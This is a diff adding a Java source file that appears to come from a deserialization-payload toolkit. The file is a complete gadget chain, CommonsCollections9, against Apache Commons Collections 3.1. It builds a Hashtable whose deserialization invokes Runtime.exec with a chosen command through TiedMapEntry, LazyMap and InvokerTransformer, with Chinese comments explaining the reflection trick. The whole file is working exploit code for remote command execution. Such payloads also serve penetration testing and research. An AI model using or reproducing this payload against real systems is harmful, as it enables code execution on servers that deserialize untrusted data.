|
| 1 | +package payloads; |
| 2 | + |
| 3 | +import org.apache.commons.collections.Transformer; |
| 4 | +import org.apache.commons.collections.functors.ChainedTransformer; |
| 5 | +import org.apache.commons.collections.functors.ConstantTransformer; |
| 6 | +import org.apache.commons.collections.functors.InvokerTransformer; |
| 7 | +import org.apache.commons.collections.keyvalue.TiedMapEntry; |
| 8 | +import org.apache.commons.collections.map.LazyMap; |
| 9 | +import payloads.annotation.Authors; |
| 10 | +import payloads.annotation.Dependencies; |
| 11 | +import util.PayloadRunner; |
| 12 | +import util.Reflections; |
| 13 | + |
| 14 | +import java.lang.reflect.Field; |
| 15 | +import java.util.HashMap; |
| 16 | +import java.util.Hashtable; |
| 17 | +import java.util.Map; |
| 18 | + |
| 19 | +/* |
| 20 | +Gadget chain: |
| 21 | +java.util.Hashtable.readObject |
| 22 | + java.util.Hashtable.reconstitutionPut |
| 23 | + org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() |
| 24 | + org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() |
| 25 | + org.apache.commons.collections.map.LazyMap.get() |
| 26 | + org.apache.commons.collections.functors.ChainedTransformer.transform() |
| 27 | + org.apache.commons.collections.functors.InvokerTransformer.transform() |
| 28 | + java.lang.reflect.Method.invoke() |
| 29 | + java.lang.Runtime.exec() |
| 30 | +*/ |
| 31 | +@Dependencies({"commons-collections:commons-collections:3.1"}) |
| 32 | +@Authors({Authors.CCKUAILONG}) |
| 33 | + |
| 34 | +public class CommonsCollections9 extends PayloadRunner implements ObjectPayload<Hashtable> { |
| 35 | + |
| 36 | + public Hashtable getObject(String command) throws Exception { |
| 37 | + final String[] execArgs = new String[]{command}; |
| 38 | + |
| 39 | + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); |
| 40 | + |
| 41 | + final Transformer[] transformers = new Transformer[]{ |
| 42 | + new ConstantTransformer(Runtime.class), |
| 43 | + new InvokerTransformer("getMethod", |
| 44 | + new Class[]{String.class, Class[].class}, |
| 45 | + new Object[]{"getRuntime", new Class[0]}), |
| 46 | + new InvokerTransformer("invoke", |
| 47 | + new Class[]{Object.class, Object[].class}, |
| 48 | + new Object[]{null, new Object[0]}), |
| 49 | + new InvokerTransformer("exec", |
| 50 | + new Class[]{String.class}, |
| 51 | + execArgs), |
| 52 | + new ConstantTransformer(1)}; |
| 53 | + |
| 54 | + final Map innerMap = new HashMap(); |
| 55 | + |
| 56 | + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); |
| 57 | + |
| 58 | + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); |
| 59 | + Hashtable hashtable = new Hashtable(); |
| 60 | + hashtable.put("foo",1); |
| 61 | + // 获取hashtable的table类属性 |
| 62 | + Field tableField = Hashtable.class.getDeclaredField("table"); |
| 63 | + Reflections.setAccessible(tableField); |
| 64 | + Object[] table = (Object[])tableField.get(hashtable); |
| 65 | + Object entry1 = table[0]; |
| 66 | + if(entry1==null) |
| 67 | + entry1 = table[1]; |
| 68 | + // 获取Hashtable.Entry的key属性 |
| 69 | + Field keyField = entry1.getClass().getDeclaredField("key"); |
| 70 | + Reflections.setAccessible(keyField); |
| 71 | + // 将key属性给替换成构造好的TiedMapEntry实例 |
| 72 | + keyField.set(entry1, entry); |
| 73 | + // 填充真正的命令执行代码 |
| 74 | + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); |
| 75 | + return hashtable; |
| 76 | + } |
| 77 | + |
| 78 | + public static byte[] getBytes(final String command) throws Exception { |
| 79 | + return PayloadRunner.run(CommonsCollections9.class, command); |
| 80 | + } |
| 81 | + |
| 82 | + public static void main(final String command) throws Exception { |
| 83 | + PayloadRunner.run(CommonsCollections9.class, command); |
| 84 | + } |
| 85 | +} |
0 commit comments